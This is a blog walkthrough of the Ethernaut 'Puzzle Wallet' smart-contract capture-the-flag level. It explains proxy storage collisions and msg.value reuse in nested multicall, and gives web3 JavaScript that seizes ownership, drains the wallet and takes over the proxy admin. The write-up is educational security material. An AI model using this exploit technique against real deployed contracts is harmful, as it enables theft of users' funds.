Ethernaut 24 Puzzle Wallet Walkthrough

Lamby (Ryan Lambert)
6 min readNov 19, 2021

--

This contract tests your understanding of proxy patterns, EVM storage, and delegatecall. (Link to challenge)

Recommended Reading Before Starting this Challenge

This challenge is larger than most, so making sense of the proxy architecture was, in my opinion, the hardest (and most crucial) part to cracking this puzzle. Here is what I wish I read before diving into the code:

And, as a refresher, recall how delegatecall works. You’ll need this for cracking the latter half of the challenge.

Logic is called in B; Stored in A

Hint — Are there any storage collisions between the instance contract and proxy? A related (and much easier) challenge is Level 16 Preservation. Which contract stores the data and which contract handles the logic?

Detailed Walkthrough

This challenge follows the proxy pattern, meaning the first contract is a wrapper in which the users interacts with and those interactions are forwarded to (and from) the second contract. Proxy patterns make it possible to upgrade / change functionality by keeping the “Proxy Gateway” the same while changing the “Logic / Destination Contract”.

To quote OpenZepplin:

The key concept to understand is that the logic contract can be replaced while the proxy, or the access point is never changed. Both contracts are still immutable in the sense that their code cannot be changed, but the logic contract can simply be swapped by another contract. The wrapper can thus point to a different logic implementation and in doing so, the software is “upgraded”.

Pretty cool stuff. However, engineers need to be careful not introduce storage collisions between the proxy gateway + logic.

Oh noez! Whatever we write to _owner in the logic layer will be stored to _implementation in the proxy storage layer

Looking at our Proxy and Login contracts, notice how address public ownerand address public pendingAdminare both stored at slot 0. Furthermore, notice how the method proposeNewAdmin sets the value of pendingAdmin aka the value at slot 0 . The tx -> proxy -> implementation dataflow allows us to become the owner just by calling proposeNewAdmin . This is because the Proxy Contract is the storage layer for our Logic Contract.

Step 1 — obtain the ABI for the ProxyContract and become the owner

The first “gotcha” of this challenge is to realize that the usual Ethernautinstance address refers to the ProxyContract. In contract, the usual contract.abi reflects the methods available in PuzzleWallet.

To keep things easy, I just used Remix to compile the ABI of ProxyContract that we can connect to via web3.eth

var proxy = await new web3.eth.Contract([
{
"inputs": [
{
"internalType": "address",
"name": "_admin",
"type": "address"
},
{
"internalType": "address",
"name": "_implementation",
"type": "address"
},
{
"internalType": "bytes",
"name": "_initData",
"type": "bytes"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "implementation",
"type": "address"
}
],
"name": "Upgraded",
"type": "event"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "admin",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_expectedAdmin",
"type": "address"
}
],
"name": "approveNewAdmin",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "pendingAdmin",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_newAdmin",
"type": "address"
}
],
"name": "proposeNewAdmin",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_newImplementation",
"type": "address"
}
],
"name": "upgradeTo",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
], instance)

Now, it’s possible to make ourselves the pendingAdmin by calling the proposeNewAdmin function

await proxy.methods.proposeNewAdmin(player).send({from: player})

Now, via the magic of the Proxy and Logic layer sharing storage at slot 0, the owner variable within PuzzleWallet will be overwritten to match our player address.

await contract.owner() // should now be your address

Step 2 — Whitelist your address

Now that you are the owner of PuzzleWallet , you can whitelist your address

await contract.addToWhitelist(player); // overcomes the onlyWhitelisted modifier protecting the functions in the contractawait contract.whitelisted(player) // should now return true

Hooray! Now you have access to all the PuzzleWallet methods. Let’s wreak some havoc!

Step 3 — Use multicall to drain the wallet of funds

Confused about the this.deposit.selector line? I was. The method selector is the kecccak256 hash of the method signature. The first four bytes is the method selector. (source)

PuzzleWallet uses multicall to call an array of methods within a single transaction. It tries to stop you from calling Deposit more than once. This is because msg.value is “persistent” between function calls.

If this safety check was not there within multicall, you’d simply be able to use multicall to invokedeposit to your own address multiple times while only sending Ether once, making the smart contract think you have a larger balance than you should.

This is, in essence, what we need to do to break this contract.

When you realize you can embed a multicall within a multicall

Let’s break down our attack into 3 separate function calls, all sent to multicall along with a msg.value of 1 Ether. Update 2022 — the contract is now holding less Ether (currently 0.001 ETH)

  1. Function to invoke the PuzzleWallet.deposit function
  2. Function which invokes multicall which invokes deposit again
  3. Function which invokes PuzzleWallet.execute, sending our address 2x the Ether we sent in our msg.value

multicall expects an array of bytes which it compares to deposit.selector . We can get our target function method selectors by reading the first 4 bytes of our target method

web3.utils.keccak256('deposit()') // 0xd0e30db0

Alternatively, we can use the built-in web3 method.request utility to get this data:

var {data: puzzleDeposit } = await contract.deposit.request() // 0xd0e30db0

Repeat this to grab the data for our other two functions:

// function 2
var { data: inceptionMultiCall } = await contract.multicall.request([ puzzleDeposit ]);
// function 3
var { data: puzzleExecute } = await contract.execute.request(player, web3.utils.toWei('2', 'ether'), []);

Now we are ready to steal some money:

var our3Functions = [
puzzleDeposit,
inceptionMultiCall,
puzzleExecute,
];
await contract.multicall(our3Functions, { from: player, value: web3.utils.toWei('1', 'ether')});

If you were successful, the target contract should now have 0 balance and you should have an extra Ether in your wallet.

await web3.eth.getBalance(instance) // should now be 0

Step 4 — Become the admin of the proxy

Now that the PuzzleWallet is drained of funds, we can make ourselves the admin by leveraging the storage overlap between the Proxy and Logic contracts. This is similar to what we did in Step 1

await contract.setMaxBalance(player);

Key Takeaways

  1. Storage conflicts can exist between Proxy and Logic contracts if configured incorrectly
  2. Msg.value remains the same between function invocations — even when the Ether is already “spent”.
  3. Proxy patterns, when applied correctly, are a powerful way to maintain “upgradability” within the immutable world of the blockchain.

--

--